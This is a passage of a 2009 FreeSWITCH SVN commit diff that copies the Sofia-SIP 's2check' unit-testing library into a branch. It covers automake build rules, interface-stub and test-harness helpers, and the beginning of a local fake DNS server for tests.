+	$(AM_LDFLAGS) $(LDFLAGS) -o $@
+
+# Rules from depend2.am (GENERIC = TRUE, SUBDIROBJ = FALSE, %FASTDEP% = am_fastdepCC) silenced. 
+.c.o:
+	@test "${SOFIA_SILENT}" != @ || echo '	 COMPILE $@'
+if am__fastdepCC
+	${SOFIA_SILENT}if $(COMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Po"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+else
+if AMDEP
+	${SOFIA_SILENT}source='$<' object='$@' libtool=no @AMDEPBACKSLASH@
+	DEPDIR="$(DEPDIR)" $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+	$(COMPILE) -c -o $@ $<
+else
+	${SOFIA_SILENT}$(COMPILE) -c -o $@ $<
+endif
+endif
+
+.c.lo:
+	@test "${SOFIA_SILENT}" != @ || echo '	 LTCOMPILE $@'
+if am__fastdepCC
+	${SOFIA_SILENT}if $(LTCOMPILE) -MT $@ -MD -MP -MF "$(DEPDIR)/$*.Tpo" -c -o $@ $<; \
+	then mv -f "$(DEPDIR)/$*.Tpo" "$(DEPDIR)/$*.Plo"; else rm -f "$(DEPDIR)/$*.Tpo"; exit 1; fi
+else
+if AMDEP
+	${SOFIA_SILENT}source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@
+	DEPDIR="$(DEPDIR)" $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@
+	$(LTCOMPILE) -c -o $@ $<
+else
+	${SOFIA_SILENT}$(LTCOMPILE) -c -o $@ $<
+endif
+endif
+
+# endif

Modified: freeswitch/branches/seven/libs/sofia-sip/rules/sofia.am (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/rules/sofia.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/rules/sofia.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -68,3 +68,5 @@
 if HAVE_LCOV
 include $(top_srcdir)/rules/lcov.am
 endif
+
+include $(top_srcdir)/rules/silent.am

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check)

Property changes: freeswitch/branches/seven/libs/sofia-sip/s2check


Name: svn:ignore
   + Makefile.in
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/Makefile.am

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/Makefile.am (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+#
+# Makefile.am for "Sofia-SIP 2 Check", module and unit testing library
+#
+# Copyright (C) 2009 Nokia Corporation
+# Contact: Pekka Pessi <pekka.pessi@nokia.com>
+# Licensed under LGPL. See file COPYING.
+
+# ----------------------------------------------------------------------
+# Header paths
+
+INCLUDES = 		$(INTERNAL_INCLUDES)
+
+# ----------------------------------------------------------------------
+# Build targets
+
+noinst_LIBRARIES = 	libs2.a
+
+# ----------------------------------------------------------------------
+# Rules for building the targets
+
+libs2_a_SOURCES = 	s2check.h s2tcase.c \
+			s2base.h s2base.c \
+			s2sip.c s2sip.h \
+			s2_localinfo.h s2_localinfo.c \
+			s2dns.h s2dns.c \
+			s2util.h s2time.c
+
+# ----------------------------------------------------------------------
+# Install and distribution rules
+
+EXTRA_DIST =		exit77.c
+
+# ----------------------------------------------------------------------
+# Tests
+
+TESTS =
+
+# ----------------------------------------------------------------------
+# Sofia specific rules
+
+include $(top_srcdir)/rules/sofia.am

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/exit77.c

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/exit77.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/exit77.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/exit77.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/exit77.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4 @@
+int main(int argc, char *argv[])
+{
+  return 77; /* exit code indicating make check that test has been SKIPped */
+}

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2_localinfo.c

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2_localinfo.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2_localinfo.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2_localinfo.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2_localinfo.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,205 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE s2_localinfo.c
+ *
+ * @brief s2_localinfo() stub returning well-known addresses for testing.
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ */
+
+#include "config.h"
+
+#include <sofia-sip/hostdomain.h>
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/su_alloc.h>
+
+#include <stdlib.h>
+#include <assert.h>
+
+#define SU_LOCALINFO_TEST 1
+
+#define su_getlocalinfo s2_getlocalinfo
+#define su_freelocalinfo s2_freelocalinfo
+#define su_gli_strerror s2_gli_strerror
+#define su_copylocalinfo s2_copylocalinfo
+#define su_sockaddr_scope s2_sockaddr_scope
+#define su_getlocalip s2_getlocalip
+
+#include "su_localinfo.c"
+
+static char const *default_ifaces[] = {
+  "lo0\0" "127.0.0.1\0" "::1\0",
+  NULL
+};
+
+static char const **ifaces = default_ifaces;
+
+void s2_localinfo_ifaces(char const **replace_ifaces)
+{
+  ifaces = replace_ifaces;
+}
+
+int
+s2_getlocalinfo(su_localinfo_t const *hints,
+		su_localinfo_t **return_localinfo)
+{
+  int error = 0, ip4 = 0, ip6 = 0, i;
+  su_localinfo_t *result = NULL, **rr = &result;
+  su_localinfo_t hh[1] = {{ 0 }};
+
+  assert(return_localinfo);
+
+  *return_localinfo = NULL;
+
+  if (hints) {
+    /* Copy hints so that it can be modified */
+    *hh = *hints;
+    if (hh->li_canonname)
+      hh->li_flags |= LI_CANONNAME;
+  }
+
+  hints = hh;
+
+  switch (hh->li_family) {
+#if SU_HAVE_IN6
+  case AF_INET6:
+    if (hh->li_flags & LI_V4MAPPED)
+      ip6 = ip4 = 1, hh->li_family = 0;
+    else
+      ip6 = 1;
+    break;
+#endif
+
+  case AF_INET:
+    ip4 = 1;
+    break;
+
+  case 0:
+    ip6 = ip4 = 1;
+    break;
+
+  default:
+    return -1;
+  }
+
+  for (i = 0; ifaces[i]; i++) {
+    char const *iface = ifaces[i], *address = iface;
+    su_sockaddr_t su[1];
+
+    for (;(address += strlen(address) + 1)[0];) {
+      su_localinfo_t *li = NULL;
+      int scope = 0;
+
+      memset(su, 0, sizeof su);
+
+      if (0)
+	;
+#if SU_HAVE_IN6
+      else if (ip4 &&
+	       (hints->li_flags & LI_V4MAPPED) != 0 &&
+	       host_is_ip4_address(address)) {
+	int32_t mapped;
+	su->su_len = (sizeof su->su_sin6);
+	su_inet_pton(su->su_family = AF_INET6,
+		     address,
+		     &mapped);
+	((int32_t*)&su->su_sin6.sin6_addr)[2] = htonl(0xffff);
+	((int32_t*)&su->su_sin6.sin6_addr)[3] = mapped;
+	scope = li_scope4(mapped);
+      }
+      else if (ip6 && host_is_ip6_address(address)) {
+	su->su_len = (sizeof su->su_sin6);
+	su_inet_pton(su->su_family = AF_INET6,
+		     address,
+		     &su->su_sin6.sin6_addr);
+	scope = li_scope6(&su->su_sin6.sin6_addr);
+      }
+#endif
+      else if (ip4 && host_is_ip4_address(address)) {
+	su->su_len = (sizeof su->su_sin);
+	su_inet_pton(su->su_family = AF_INET,
+		     address,
+		     &su->su_sin.sin_addr);
+	scope = li_scope4(su->su_sin.sin_addr.s_addr);
+      }
+      else
+	continue;
+
+      if (scope == 0)
+	continue;
+      if (hints->li_scope && (hints->li_scope & scope) == 0)
+	continue;
+      if (hints->li_index && hints->li_index != i + 1)
+	continue;
+      if (hints->li_ifname && strcmp(hints->li_ifname, iface) != 0)
+	continue;
+      if (hints->li_family && hints->li_family != su->su_family)
+	continue;
+      if (hints->li_canonname && !su_casematch(address, hints->li_canonname))
+	continue;
+
+      li = calloc(1, (sizeof *li) + (sizeof *su) + strlen(iface) + 1);
+      li->li_family = su->su_family;
+      li->li_scope = scope;
+      li->li_index = i + 1;
+      li->li_addrlen = su_sockaddr_size(su);
+      li->li_addr = memcpy((li + 1), su, (sizeof *su));
+      if (hints->li_flags & LI_IFNAME)
+	li->li_ifname = strcpy((char *)li->li_addr + li->li_addrlen, iface);
+
+      if ((hints->li_flags & LI_CANONNAME) || hints->li_canonname) {
+	li->li_flags |= LI_NUMERIC;
+	li->li_canonname = su_strdup(NULL, address);
+      }
+
+#define LI_MAPPED(li) \
+  ((li)->li_family == AF_INET6 &&					\
+   (IN6_IS_ADDR_V4MAPPED(&(li)->li_addr->su_sin6.sin6_addr) ||		\
+    IN6_IS_ADDR_V4COMPAT(&(li)->li_addr->su_sin6.sin6_addr)))
+
+      /* Insert according to scope, mappedness and family */
+      for (rr = &result; *rr; rr = &(*rr)->li_next) {
+	if ((*rr)->li_scope < li->li_scope)
+	  break;
+#if SU_HAVE_IN6
+	if (LI_MAPPED(*rr) > LI_MAPPED(li))
+	  break;
+#endif
+	if ((*rr)->li_family < li->li_family)
+	  break;
+      }
+      li->li_next = *rr;
+      *rr = li;
+    }
+  }
+
+  *return_localinfo = result;
+
+  if (result == NULL)
+    error = ELI_NOADDRESS;
+
+  return error;
+}
+

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2_localinfo.h

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2_localinfo.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2_localinfo.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2_localinfo.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2_localinfo.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,66 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2005 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#ifndef S2_LOCALINFO_H
+/** Defined when <s2_localinfo.h> has been included. */
+#define S2_LOCALINFO_H
+
+
+/**@internal
+ * @file s2_localinfo.h - Test su_localinfo() users
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ */
+
+#ifndef SU_LOCALINFO_H
+#include <sofia-sip/su_localinfo.h>
+#endif
+
+SOFIA_BEGIN_DECLS
+
+int s2_getlocalinfo(su_localinfo_t const *hints, su_localinfo_t **res);
+void s2_freelocalinfo(su_localinfo_t *);
+char const *s2_gli_strerror(int error);
+su_localinfo_t *s2_copylocalinfo(su_localinfo_t const *li0);
+int s2_sockaddr_scope(su_sockaddr_t const *su, socklen_t sulen);
+
+void s2_localinfo_ifaces(char const **ifaces);
+
+#define S2_LOCALINFO_STUBS(static)					\
+  static int su_getlocalinfo(su_localinfo_t const *hints, su_localinfo_t **res)	\
+  { return s2_getlocalinfo(hints, res); }				\
+  static void su_freelocalinfo(su_localinfo_t *li)			\
+  { s2_freelocalinfo(li); }						\
+  static char const *su_gli_strerror(int error)				\
+  { return s2_gli_strerror(error); }					\
+  static su_localinfo_t *su_copylocalinfo(su_localinfo_t const *li0)	\
+  { return s2_copylocalinfo(li0); }					\
+  static int su_sockaddr_scope(su_sockaddr_t const *su, socklen_t sulen) \
+  { return s2_sockaddr_scope(su, sulen); }				\
+  static int su_localinfo_stubs						\
+
+SOFIA_END_DECLS
+
+#endif /* !defined(S2_LOCALINFO_H) */

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2base.c

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2base.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2base.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2base.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2base.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,180 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+/**@CFILE s2base.c
+ * @brief Common check-based tester for Sofia SIP modules
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ *
+ * @date Created: Wed Apr 30 12:48:27 EEST 2008 ppessi
+ */
+
+#include "config.h"
+
+#undef NDEBUG
+
+#define TP_MAGIC_T struct tp_magic_s
+
+#include "s2base.h"
+
+#include <sofia-sip/sip_header.h>
+#include <sofia-sip/sip_status.h>
+#include <sofia-sip/msg_addr.h>
+#include <sofia-sip/su_log.h>
+#include <sofia-sip/su_tagarg.h>
+#include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
+#include <sofia-sip/sresolv.h>
+
+#include <stdlib.h>
+#include <string.h>
+#include <assert.h>
+#include <limits.h>
+#include <time.h>
+
+#if HAVE_SYS_TIME_H
+#include <sys/time.h> /* Get struct timeval */
+#endif
+
+#if HAVE_CLOCK_GETTIME
+static double
+now(void)
+{
+  struct timespec tv;
+
+#if CLOCK_MONOTONIC
+  if (clock_gettime(CLOCK_MONOTONIC, &tv) != 0)
+#endif
+    clock_gettime(CLOCK_REALTIME, &tv);
+
+  return tv.tv_sec * 1.0 + tv.tv_nsec * 1e-9;
+}
+#elif HAVE_GETTIMEOFDAY
+static double
+now(void)
+{
+  struct timeval tv;
+
+  gettimeofday(&tv, NULL);
+
+  return tv.tv_sec * 1.0 + tv.tv_usec * 1e-6;
+}
+
+#else
+#error no gettimeofday for test timing
+#endif
+
+/* -- Module globals ---------------------------------------------------- */
+
+struct s2base *s2base;
+
+char const *s2_tester = "s2_tester";
+int s2_start_stop;
+
+char const *_s2_suite = "X";
+char const *_s2_case = "0.0";
+
+static struct {
+  double setup, start, done, toredown;
+} stamps;
+
+void s2_suite(char const *name)
+{
+  _s2_suite = name;
+}
+
+/** Basic setup for test cases */
+void s2_setup(char const *label)
+{
+  assert(s2base == NULL);
+
+  stamps.setup = now();
+
+  if (s2_start_stop > 1) {
+    printf("%s - setup %s test case\n", s2_tester, label ? label : "next");
+  }
+
+  su_init();
+
+  s2base = su_home_new(sizeof *s2base);
+  assert(s2base != NULL);
+
+  s2base->root = su_root_create(s2base);
+  assert(s2base->root != NULL);
+}
+
+void s2_case(char const *number,
+	     char const *title,
+	     char const *description,
+	     char const *function)
+{
+  stamps.start = now();
+
+  _s2_case = number;
+  if (s2_start_stop)
+    printf("%s - starting %s (%s/%s %s)\n", s2_tester, function,
+	   _s2_suite, _s2_case, title);
+}
+
+void s2_step(void)
+{
+  su_root_step(s2base->root, 10);
+}
+
+static char const *s2_teardown_label = NULL;
+
+void
+s2_teardown_started(char const *label)
+{
+  stamps.done = now();
+
+  if (!s2_teardown_label) {
+    s2_teardown_label = label;
+    if (s2_start_stop > 1) {
+      double ms = (stamps.done - stamps.start) * 1000.0;
+      printf("%s - tearing down %s test case (%g ms)\n", s2_tester, label, ms);
+    }
+  }
+}
+
+void
+s2_teardown(void)
+{
+  struct s2base *_zap = s2base;
+
+  s2base = NULL;
+
+  su_root_destroy(_zap->root);
+  su_deinit();
+
+  stamps.toredown = now();
+
+  if (s2_start_stop > 1) {
+    double ms = (stamps.toredown - stamps.setup) * 1000.0;
+    printf("%s - %s test case tore down (total %g ms)\n", s2_tester,
+	   s2_teardown_label ? s2_teardown_label : "previous", ms);
+  }
+
+  s2_teardown_label = NULL;
+}

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2base.h

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2base.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2base.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2base.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2base.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,61 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2008 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ */
+
+#ifndef S2BASE_H
+#define S2BASE_H
+
+#include <sofia-sip/su_wait.h>
+#include <sofia-sip/su_alloc.h>
+#include "s2util.h"
+
+extern struct s2base
+{
+  su_home_t home[1];
+  su_root_t *root;
+} *s2base;
+
+extern char const *s2_tester, *_s2_suite, *_s2_case;
+extern int s2_start_stop;
+
+void s2_suite(char const *label);
+void s2_setup(char const *label);
+
+void s2_step(void);
+
+void s2_case(char const *tag,
+	     char const *title,
+	     char const *description,
+	     char const *function);
+
+#if HAVE_FUNC
+#define S2_CASE(n, t, d) s2_case((n),(t),(d), __func__)
+#elif HAVE_FUNCTION
+#define S2_CASE(n, t, d) s2_case((n),(t),(d), __FUNCTION__)
+#else
+#define S2_CASE(n, t, d) s2_case((n),(t),(d), "")
+#endif
+
+void s2_teardown_started(char const *label);
+void s2_teardown(void);
+
+#endif

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2check.h

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2check.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2check.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2check.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2check.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,60 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#ifndef S2CHECK_H
+/** Defined when <s2check.h> has been included. */
+#define S2CHECK_H
+
+/**@internal @file s2check.h
+ *
+ * @brief Check-based testing
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ */
+
+#ifndef SU_CONFIG_H
+#include <sofia-sip/su_config.h>
+#endif
+
+#include <check.h>
+
+SOFIA_BEGIN_DECLS
+
+#undef tcase_add_test
+#undef tcase_add_loop_test
+
+/* Redirect tcase_add_test() to our function */
+#define tcase_add_test(tc, tf) s2_tcase_add_test(tc, tf, "" #tf "", 0, 0, 1)
+
+void s2_tcase_add_test(TCase *, TFun, char const *name,
+		       int signo, int start, int end);
+
+#define tcase_add_loop_test(tc, tf, s, e) \
+  s2_tcase_add_test(tc, tf, "" #tf "", 0, (s), (e))
+
+void s2_select_tests(char const *pattern);
+
+SOFIA_END_DECLS
+
+#endif /* S2CHECK_H */

Deleted: freeswitch/branches/seven/libs/sofia-sip/s2check/s2dns.c

Copied: freeswitch/branches/seven/libs/sofia-sip/s2check/s2dns.c (from rev 14471, freeswitch/trunk/libs/sofia-sip/s2check/s2dns.c) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/s2check/s2dns.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/s2check/s2dns.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,667 @@
+/* ---------------------------------------------------------------------- */
+/* S2 DNS server */
+
+#include <sofia-sip/sresolv.h>
+#include <sofia-resolv/sres_record.h>
+#include <sofia-sip/url.h>
+
+#include "s2dns.h"
+
+#include <string.h>
+#include <stdlib.h>
+#include <assert.h>
+
+extern uint16_t _sres_default_port; /* Ugly hack */
+
+static struct s2dns {
+  su_root_t *root;
+  su_socket_t socket;
+  su_wait_t wait[1];
+  int reg;
+  int (*filter)(void *data, size_t len, void *userdata);
+  void *userdata;
+} s2dns;
+
+static
+struct s2_dns_response {
+  struct s2_dns_response *next;
+  uint16_t qlen, dlen;
+  struct m_header {
+    /* Header defined in RFC 1035 section 4.1.1 (page 26) */
+    uint16_t mh_id;		/* Query ID */
+    uint16_t mh_flags;		/* Flags */
+    uint16_t mh_qdcount;	/* Question record count */
+    uint16_t mh_ancount;	/* Answer record count */
+    uint16_t mh_nscount;	/* Authority records count */
+    uint16_t mh_arcount;	/* Additional records count */
+  } header[1];
+  uint8_t data[1500];
+} *zonedata;
+
+enum {
+  FLAGS_QR = (1 << 15),
+  FLAGS_QUERY = (0 << 11),
+  FLAGS_IQUERY = (1 << 11),
+  FLAGS_STATUS = (2 << 11),
+  FLAGS_OPCODE = (15 << 11),	/* mask */
+  FLAGS_AA = (1 << 10),		/*  */
+  FLAGS_TC = (1 << 9),
+  FLAGS_RD = (1 << 8),
+  FLAGS_RA = (1 << 7),
+
+  FLAGS_RCODE = (15 << 0),	/* mask of return code */
+
+  FLAGS_OK = 0,			/* No error condition. */
+  FLAGS_FORMAT_ERR = 1,		/* Server could not interpret query. */
+  FLAGS_SERVER_ERR = 2,		/* Server error. */
+  FLAGS_NAME_ERR = 3,		/* No domain name. */
+  FLAGS_UNIMPL_ERR = 4,		/* Not implemented. */
+  FLAGS_AUTH_ERR = 5,		/* Refused */
+};
+
+uint32_t s2_dns_ttl = 3600;
+
+static int s2_dns_query(su_root_magic_t *magic,
+			su_wait_t *w,
+			su_wakeup_arg_t *arg);
+
+void s2_dns_setup(su_root_t *root)
+{
+  int n;
+  su_socket_t socket;
+  su_wait_t *wait;
+  su_sockaddr_t su[1];
+  socklen_t sulen = sizeof su->su_sin;
+
+  assert(root);
+
+  memset(su, 0, sulen);
+  su->su_len = sulen;
+  su->su_family = AF_INET;
+
+  /* su->su_port = htons(1053); */
+
+  socket = su_socket(su->su_family, SOCK_DGRAM, 0);
+
+  n = bind(socket, &su->su_sa, sulen); assert(n == 0);
+  n = getsockname(socket, &su->su_sa, &sulen); assert(n == 0);
+
+  _sres_default_port = ntohs(su->su_port);
+
+  s2dns.root = root;
+  wait = s2dns.wait;
+  n = su_wait_create(wait, socket, SU_WAIT_IN); assert(n == 0);
+  s2dns.reg = su_root_register(root, wait, s2_dns_query, NULL, 0);
+  assert(s2dns.reg > 0);
+  s2dns.socket = socket;
+}
+
+/* Set filter function */
+void
+s2_dns_set_filter(int (*filter)(void *data, size_t len, void *userdata),
+		       void *userdata)
+{
+  s2dns.filter = filter;
+  s2dns.userdata = userdata;
+}
+
+void
+s2_dns_teardown(void)
+{
+  struct s2_dns_response *r, *next;
+  su_root_deregister(s2dns.root, s2dns.reg), s2dns.reg = -1;
+  su_close(s2dns.socket), s2dns.socket = -1;
+  s2dns.root = NULL;
+
+  for (r = zonedata, zonedata = NULL; r; r = next) {
+    next = r->next;
+    free(r);
+  }
+}
+
+static int
+s2_dns_query(su_root_magic_t *magic,
+	     su_wait_t *w,
+	     su_wakeup_arg_t *arg)
+{
+  union {
+    struct m_header header[1];
+    uint8_t buffer[1500];
+  } request;
+  ssize_t len;
+
+  su_socket_t socket;
+  su_sockaddr_t su[1];
+  socklen_t sulen = sizeof su;
+  uint16_t flags;
+  struct s2_dns_response *r;
+  size_t const hlen = sizeof r->header;
+
+  (void)arg;
+
+  socket = s2dns.socket;
+
+  len = su_recvfrom(socket, request.buffer, sizeof request.buffer, 0,
+		    &su->su_sa, &sulen);
+
+  flags = ntohs(request.header->mh_flags);
+
+  if (len < (ssize_t)hlen)
+    return 0;
+  if ((flags & FLAGS_QR) == FLAGS_QR)
+    return 0;
+  if ((flags & FLAGS_RCODE) != FLAGS_OK)
+    return 0;
+
+  if ((flags & FLAGS_OPCODE) != FLAGS_QUERY
+      || ntohs(request.header->mh_qdcount) != 1) {
+    flags |= FLAGS_QR | FLAGS_UNIMPL_ERR;
+    request.header->mh_flags = htons(flags);
+    if (!s2dns.filter || s2dns.filter(request.buffer, len, s2dns.userdata))
+      su_sendto(socket, request.buffer, len, 0, &su->su_sa, sulen);
+    return 0;
+  }
+
+  for (r = zonedata; r; r = r->next) {
+    if (memcmp(r->data, request.buffer + hlen, r->qlen) == 0)
+      break;
+  }
+
+  if (r) {
+    flags |= FLAGS_QR | FLAGS_AA | FLAGS_OK;
+    request.header->mh_flags = htons(flags);
+    request.header->mh_ancount = htons(r->header->mh_ancount);
+    request.header->mh_nscount = htons(r->header->mh_nscount);
+    request.header->mh_arcount = htons(r->header->mh_arcount);
+    memcpy(request.buffer + hlen + r->qlen,
+	   r->data + r->qlen,
+	   r->dlen - r->qlen);
+    len = hlen + r->dlen;
+  }
+  else {
+    flags |= FLAGS_QR | FLAGS_AA | FLAGS_NAME_ERR;
+  }
+
+  request.header->mh_flags = htons(flags);
+  if (!s2dns.filter || s2dns.filter(request.buffer, len, s2dns.userdata))
+    su_sendto(socket, request.buffer, len, 0, &su->su_sa, sulen);
+  return 0;
+}
+
+static char const *default_domain;
+
+/** Set default domain suffix used with s2_dns_record() */
+char const *
+s2_dns_default(char const *domain)
+{
+  assert(domain == NULL || strlen(domain));
+  assert(domain == NULL || domain[strlen(domain) - 1] == '.');
+  return default_domain = domain;
+}
+
+static void put_uint16(struct s2_dns_response *m, uint16_t h)
+{
+  uint8_t *p = m->data + m->dlen;
+
+  assert(m->dlen + (sizeof h) < sizeof m->data);
+  p[0] = h >> 8; p[1] = h;
+  m->dlen += (sizeof h);
+}
+
+static void put_uint32(struct s2_dns_response *m, uint32_t w)
+{
+  uint8_t *p = m->data + m->dlen;
+
+  assert(m->dlen + (sizeof w) < sizeof m->data);
+  p[0] = w >> 24; p[1] = w >> 16; p[2] = w >> 8; p[3] = w;
+  m->dlen += (sizeof w);
+}
+
+static void put_domain(struct s2_dns_response *m, char const *domain)
+{
+  char const *label;
+  size_t llen;
+
+  if (domain && domain[0] == 0)
+    domain = default_domain;
+
+  /* Copy domain into query label at a time */
+  for (label = domain; label && label[0]; label += llen) {
+    assert(!(label[0] == '.' && label[1] != '\0'));
+    llen = strcspn(label, ".");
+    assert(llen < 64);
+    assert(m->dlen + llen + 1 < sizeof m->data);
+    m->data[m->dlen++] = (uint8_t)llen;
+    if (llen == 0)
+      return;
+
+    memcpy(m->data + m->dlen, label, llen);
+    m->dlen += (uint16_t)llen;
+
+    if (label[llen] == '\0') {
+      if (default_domain) {
+	label = default_domain, llen = 0;
+	continue;
+      }
+      break;
+    }
+    if (label[llen + 1])
+      llen++;
+  }
+
